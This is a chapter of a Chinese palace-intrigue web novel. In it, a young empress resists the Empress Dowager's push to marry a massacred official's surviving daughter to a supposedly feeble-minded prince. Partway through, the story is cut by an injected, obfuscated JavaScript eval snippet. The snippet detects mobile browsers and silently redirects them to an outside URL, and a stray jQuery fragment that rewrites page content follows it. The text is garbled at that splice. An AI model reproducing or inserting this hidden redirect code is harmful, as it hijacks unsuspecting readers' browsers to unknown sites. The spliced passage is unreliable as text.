梁汇一脚跨进门槛,先前安闲的坐在椅子上的几个妇人纷纷站了起来。
苏太妃微微躬身行了个礼,梁汇效仿她也向太后行了个礼,太后自然是慈爱的把她扶起来,她也颇为客气的对苏太妃说了几句漂亮话。
他们三人在这边虚与委蛇,梁汇过了一会才看到他们身后还跟着一个人。
那是个年轻但面容有些憔悴的女子,规规矩矩的立在一旁低着头不发一言。
梁汇的目光落到她身上,太后很有眼力见的拉着她的手坐到一旁的椅子上,随后一摆手吩咐其他二人随便坐,自己则是亲切的唠起家常。
“哀家倒是许久没回宫了,这次回来意外的发现宫里变了好多。”
先皇后早早离世,执掌凤印的一直是太后她老人家,宫里的一切事宜也自然是太后张罗。
这句话说的很有意思,太后一直以“渴望成为出家人但常常被红尘事拖累”自居,却在发现自己说话越来越不管用的时候着急了。
先是想张罗皇子婚姻后被梁汇避重就轻的糊弄过去,又从细枝末节中给梁汇下马威,进宫一趟的目的还没试探出来就已经暴露出那么多心思。
她可能是醉翁之意不在酒,但梁汇确实没搞清她是想要干什么,只得斟酌的转移话题:“慈宁宫还空着,皇祖母得空多来宫中常住。”
她说的不痛不痒,但她自然知道太后她老人家多要面子,若非被人拥簇着、恳求着,她怕是不会自己厚着脸皮怎么离开的怎么搬回来。
太后确实是眸中一暗,扯了扯嘴角,终于扯上了正题:“今日哀家进宫确实是有事而来。”
眼边细细的鱼尾纹聚在一起,满面春光也挡不住美人迟暮。
她说话声音很轻,却带着某种上位者的强硬,配上那张略显苍老的面容倒是隐隐的淡化了这种强硬:“哀家前一段时间在寺庙那性子急了想一出是一出,有些糊涂了。”
“皇祖母严重了。”梁汇不轻不淡的说。
太后叹了口气,有股服老的意思:“哀家老了,现在婚姻是讲究新人的意愿,和我们那时候的‘父母之命媒妁之言’不一样了。”
梁汇做出一副洗耳恭听的姿态,心里有些费解——说实话,那次在祠庙她直言给两个不尴不尬的人赐婚,除了让人感觉莫名其妙也没什么。毕竟太后年纪确实大了,干一两件让人摸不着头脑的事大臣们还是比较能理解并比较愿意袒护她的。
甚至陈平安直接不留情面的请辞比太后这一波引起的波澜大多了。
怪就怪的是,以她的开头能隐隐猜出这次进宫说的事和上次差不多。
大胆猜一下,若是今日所求之事与上次相同,她上一次当着那么多人的面开口,所有人都以为陛下刚登基无论是体现孝道还是拉拢势力都会给太后几分薄面,即便陈平安以辞官相拒但只要是太后提起来的也未尝没有希望。
可是那次确实真的不了了之,太后还在众人面前落了个不明事理的头衔。
既然上一次都没让她下旨,这一次只是私下议事,她凭什么认为自己有胜率?
是以为陈平安已死?
还是……
她的目光缓缓抬起,落在对面脸色有些苍白的少女身上,细长的眉毛微微皱了皱,还是因为她们带来的这个年轻女孩?
太后还是慈眉善目,带着护甲的双手保养得当,触感却是实打实的苍老:“那既然如此,哀家就把陈家小女给带来了,想亲自听听她的意见。”
陈家小女?陈于姝?
梁汇面不改色,心里却掀起了波涛巨浪。
陈于姝从前只是一个普通的高官之女,即便她爹品阶再高在京城和她一样的世家小姐依旧有很多,她在其中也不显得独特。
但是现在情况不一样了。陈府灭门惨案像悬在众人头上的一把利剑,京城现在人心惶惶,所有人都担心下一个受害者就是自己。
刑部现在交出的物证难以服众,人证只剩陈于姝一人。她现在是个香饽饽,所有人都想利用她,或立功或求证,却都给不了她想要的庇护。
梁汇一方面很担心她的安全,也想过派人保护她。
她一天还坐在这个位子上,就没有人会主动挑衅陛下的威严。若是有她出手,确实能解决大臣们私下或拉拢或威胁的问题,但弊端就是,这样干的话,陈于姝就名正言顺的归刑部管制了。
刑部现在什么样子,有多少吃干饭的、有多少是别人耳目的她所知甚少,不能冒着风险把她交出去。
所以从私心来看,陈于姝交到沈宴廷手中是最好的结果了。
但问题是,沈宴廷信中和她交代了,陈于姝被他扣在府中暂时受他的管控……
梁汇微微抬眸,带着目的的打量着站在对面情绪低垂的少女。按着太后的话,她把陈于姝带来了,面前这个少女就是陈于姝?
她继位短短数月,只来得及把京城大大小小的官员摸清楚,至于他们的家眷之类的,她还没来得及研究。
陈于姝她私下没见过,也不知道她长什么样子。
是不是眼前这个人还有待考究。
太后仿佛看出了她心中所想,有些温和的牵着她的手,笑如嫣花:“哀家第一次见到陈于姝的时候也喜欢的不得了,这么一晃几年过去了她从豆大点缩在襁褓里一下子长成了亭亭玉立的女孩,竟然也到了谈婚论嫁的年纪了,时间过得真快啊”
太后依旧满脸笑意,招了招手,道:“来,于姝,给陛下请安。”
梁汇心里咯噔一下,如她所料,那就是陈于姝。
陈于姝看起来状态并不好,行为举止有些软绵绵的,看起来像病了很久似的。
想来也是,一夜之间满门杀戮,状态不好才是正常的。
陈于姝脸上的表情很淡,行礼却很大方没有拘谨。
她微微躬身,低着头,行了个安福礼,声音很轻:“臣女见过陛下。”
梁汇从上而下的看她,不太能看清她的面容。
“抬起头,让朕好好看看。”她的语气不容置喙,带着上位者的威压。
陈于姝不卑不亢的抬头,鬓间带着散乱的发丝。
她的眼圈很红,眼底发黑,脖颈还清了一块,不知道怎么伤的。除此之外,她下巴削瘦了不少,看样子是好久没好好吃饭休息了。
可能是进宫之前特地洗澡更衣,她身上还带着淡淡的皂角味,衣服也是新的。
梁汇嘴唇一动,低低的叹了一声:“节哀。”
陈于姝顿了顿,才道:“谢陛下体恤。”
仁君体恤臣女,夹杂着君王的关心。
这个时候太后拿着手绢状似不经意间抹了抹自己眼角并不存在的眼泪,开口的声音带了一丝悲悯:“她是个好孩子,哀家和苏太妃都很喜欢。”
苏太妃款款的点了下头,看向陈于姝的眼里带着满满的温柔。
梁汇嘴角扯出一抹笑,依旧在避重就轻:“皇祖母慈悲,朕过犹不及。”
好一个慈悲啊。
梁汇目光中已经有了丝丝寒意——趁着人家家破人亡之际逼婚,不知道许了她什么好处才能让她在短短半天时间内倒戈在他们阵营,这比带着目的性的利用可恶多了。
偏偏陈于姝自己没觉得,把火坑当翘板,跳得那叫一个积极。
太后可能是觉得自己做好了铺垫,也不管梁汇是不是在与她转轴,直接道:“哀家从小就偏爱崇儿,可惜老天无眼让他年纪轻轻就遭此大罪。哀家和她母亲私下都很关心他未来婚许,总担心他这样子未来没有好女孩肯嫁他。”
崇儿?梁崇?
梁汇用了一段时间才从脑中搜索出关于这人的信息。
皇亲国戚,少时风头无量,没曾想一朝摔倒,从云巅一下子跌到了尘埃。
从此消身匿迹,沉寂了好些年。除了每年年末的家宴基本上不会出现在大众面前。堂堂郡王,门庭冷落成这个样子。
要不是他身上还有着梁家人的血,梁汇也可能记不住他。
梁崇,她名义上的皇叔。
太后依旧用她那温和慈爱的嗓子说:“前些天听苏太妃说崇儿看中一个红衣女子,打听后才知道这人就是于姝。于是啊,她就赶忙上门说亲,生怕晚一步就被别人抢去了。”
梁汇被她亲切的拉着手,安安静静的听着。
“也怪苏太妃年纪大了,替儿子张罗婚烟的样子太迫切竟忘了规矩。”太后佯装埋怨几句,语气软了下来:“现在好了,哀家一下子把两家人都叫到陛下跟前了,让陛下听听他们的意见。”
梁汇额角一跳,脑中那股不安的预感终于落实了。
屋内春光正好,她却觉得自己骑虎难下。一方面梁崇虽然对外宣称痴傻,但自己毕竟也没试探过谁知道是真的还是装的?另一方面,陈于姝现在身份特殊,她不能不明不白的把她推向另一个阵营。
偏偏太后催得紧,生怕她慢一步人就跑了。陈于姝自己也需要个庇护,似乎对成为王妃之事迫在眉急。
也是,即便梁崇在怎么样他也是堂堂郡王,日后死了是要入皇陵进族谱的。
他的正妃之位确实诱惑很大,即便他本人不太行那不还有下人照料吗?王妃又不用亲自伺候她的吃喝拉撒,还不用传宗接代,何乐而不为呢?
苏太妃聘聘婷婷的站起身,缓缓地行了个礼:“王爷身体不好,恐面圣时失了分寸,特许妾身代劳。”
梁汇心里不屑,谁知道他是真身体不好还是为了避嫌,他遇险的时候她又没看见,只是听宫里人聊闲话听了一嘴,谁知道有没有夸张成分,可信度又有多少?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309822|198778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
屋内的香炉升起了寥寥烟雾,安神香的味道钻进呼吸道让人猛得打了个寒颤。
苏太妃见她没有应声,自顾自的说道:“王爷在心里爱慕陈小姐久矣,妾身自知唐突还是找陈尚书谈了此事。陈尚书当晚说要考虑考虑,没想到还没等到他回信就忽然遇到了这事。”
“妾身怕于姝一个女儿家在外面受人欺辱,便火急火燎的派人寻她。趁机问了她的意见,没想到她也心向往之,我们一拍即合,连忙去请太后主持公道,太后听后忙带我们进宫面圣。”
苏太妃带着安抚性的摸了摸陈于姝的肩膀,陈于姝也冲她笑了一下,梁汇偏头看着两人之间的互动一时不知道作何感想。
她们二人交集才不到一天,如此就能养出慈母爱女的模样,那对梁崇的爱慕之情又有多深呢?
陈于姝还小,又是面临四面楚歌的状态,很容易病急乱投医被利益蒙蔽双眼。
梁汇心里一沉,有意想拉她一把不要她继续沉沦下去,可惜这前提得是她自己有这方面意思。
梁汇抬起眼,从太后手中抽出自己的手,有些冷漠的开口:“所以太妃娘娘今日进宫是想让朕赐婚?”
苏太妃悻悻的笑了笑:“不错。”
梁汇毫无疑问的吐出两个字:“不行!”
太后也没想到她就这么斩钉截铁的拒绝了,脸上的笑容一僵,语气登时就有些不善:“长辈有心,小辈有意。陛下为何一意孤行?”
梁汇站起身,拖着衣摆走到太后面前,微微躬身行了个礼,语气却没有太恭敬带着几分无所谓的态度:“礼不可丢。”
不知道是在说她自己的还是在说别人的。
随即她微微转身,立在陈于姝面前。陈于姝不经意的抬眼,冷不丁的对上一双眸子——很漂亮的丹凤眼。
梁家人皮囊都很好看,在眼眸上更是显得淋漓尽致。
梁汇那双眸子平时带着几分淡然和散漫,心情好的时候微微上扬像是捕捉到猎物的小狐狸,心情差的时候则是极其冷漠和不近人情,眼里透着满满的不耐烦和威压。
陈于姝现在对上的就是最后一种,只不过那带着压迫感的眼神中多了些失望和不满。
为什么呢?
陈于姝觉得自己没看错,就是这两种情绪。可是明明才和陛下见过一次面,比她那新夫君的次数还少,可是她还是能从这双眼镜中看出一丝关切。
女帝身上有一种特殊的慈悲,虽然坐到龙椅上的人不可小窥,但这一丝慈悲还是给她增了不少人情味。
所以,即便是在陛下的审视下、即便她知道帝心如渊,可她还是有些傻傻的和她对上了,丝毫没注意到这有多么无礼。
不过梁汇没注意这点。
她只是微微抬手,面无表情,语气却是淡的:“大梁重孝道,你父亲刚去世你不顾守孝期未满就迫不及待的嫁人,可有想过九天之下的父亲是否安心?”
陈于姝愣愣的站在原地,张了张嘴却没说出口。
殿内刹那间寂静无声,窗外有只麻雀落脚,可能是被他们尖锐的话语吓了一跳,不一会就闪烁着翅膀扑通扑通的飞走了。
还是太后先反应过来,低低一笑替她解了围:“陛下从小住在封地,对宫里了解不多。赐婚和完婚是不一样的,守孝期内是不能举办婚礼不是不能赐婚。换之言,赐婚与否都是陛下一句话的事。”
梁汇眼神里带着几分冷意。
太后安如泰山的坐到椅子上,微微后仰靠在靠背上:“再言之,于姝现在处境糟糕,在建宁王府暂住会堵住悠悠众口,其他人即便想要她干什么也没有理由差遣,毕竟她名义上的身份是建宁王妃啊!”
建宁王妃的头衔太重,摊到谁身上都容易被蒙蔽。鱼儿只看见眼前那香喷喷的饲料,却没注意饲料之后蓄势待发的鱼饵。
梁汇在心里默默的叹了口气,有些心疼的望着这位“失足少女”,随即开口道:“你也是这样想的?”
陈于姝低下头,不知道为什么有些心虚。悄咪咪的抬眼看了眼梁汇的表情,才诺诺的开口:“回陛下,臣女衷心建宁王久矣……愿意、愿意嫁他为妃”
梁汇头脑一黑,感觉脑子晕乎乎的。
太后轻轻的笑了,像是不出所料:“男有情女有意,陛下何不成全这桩婚事?”
苏太妃在旁边添油加火:“民间有句古话——宁拆十座庙不毁一桩姻,二人郎才女貌,日后定成一段佳话。”
梁汇没管她们说什么,只是盯着陈于姝,再一次重复:“你确定要订婚?”
浮世三千,她即便是天子能决定的事太少了。若是对方无意,她无论如何努力都没办法改变。
陈于姝微微抬头,眼中多了一丝坚毅:“臣女愿意。”
“朕要执意不同意呢?”